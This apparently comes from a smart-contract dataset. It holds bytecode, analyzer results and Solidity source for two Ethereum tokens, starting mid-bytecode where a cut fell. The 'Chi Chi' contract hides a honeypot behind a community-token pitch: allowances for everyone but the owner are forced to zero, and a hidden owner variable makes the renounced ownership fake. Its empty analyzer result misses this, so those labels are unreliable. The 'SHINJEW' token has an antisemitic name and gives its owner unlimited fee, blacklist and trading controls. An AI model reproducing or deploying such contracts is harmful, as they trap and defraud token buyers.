460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485111515156115a457600080fd5b600360009054906101000a900460ff1615156115bf57600080fd5b853b925061161585600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116aa85600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115611822578591508173ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3387876040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156117bb5780820151818401526020810190506117a0565b50505050905090810190601f1680156117e85780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561180957600080fd5b505af115801561181d573d6000803e3d6000fd5b505050505b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687876040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118b957808201518184015260208101905061189e565b50505050905090810190601f1680156118e65780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3505050505050565b600360009054906101000a900460ff1681565b60006119a082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006002600460208202016000369050141515611b2457fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0657600080fd5b80600360006101000a81548160ff02191690831515021790555050565b6000828211151515611c3157fe5b818303905092915050565b6000808284019050838110151515611c5057fe5b80915050929150505600a165627a7a72305820b1ff4005c8bebdc9ee480e37b9a567b8172d72024b11196f5fba76dd01af73000029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,402
0xd6c611dacebbb082050159d3547a2c5f5b19da29
/* Chi Chi is a community-drive token that will introduce to their holders safe investments opportunities. Through Chi Chi PAD investors will be able to participate in exclusive presales. The community will engage with the selection of every single project that will come out through the Launchpad by voting as a DAO in which project they want Chi Chi to launch. - FAIR LAUNCH - Chi Chi Pad READY BEFORE LAUNCH - Chi Chi Dao - 888 unique NFT collection -No presale or private sale OFFICIALS LINKS Website: https://chichitoken.io/ TG: https://t.me/chichieth Twitter: https://twitter.com/chichieth?s=21&t=rcYgEMKerkJXOqBMOR6fTQ Launch pad: https://launchpad.chichitoken.io */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ChiChi is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Chi Chi ' ; string private _symbol = 'CHI CHI ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220997d1a4c5a748df0b337d1707c1ad38ffa838e4b0589ea9bebda6579f85d858864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,403
0x302b183B2e80D95f7a28662737b86e79667A8397
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ /** https://t.me/The_One_and_Only_Portal */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SHINJEW is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SHINJEW";// string private constant _symbol = "SHINJEW";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 7;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 13;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xa8eF854851aBE7Ca87dcE8b8585b09E0144bfA21);// address payable private _marketingAddress = payable(0xa8eF854851aBE7Ca87dcE8b8585b09E0144bfA21);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 16000000000 * 10**9; // uint256 public _maxWalletSize = 33000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
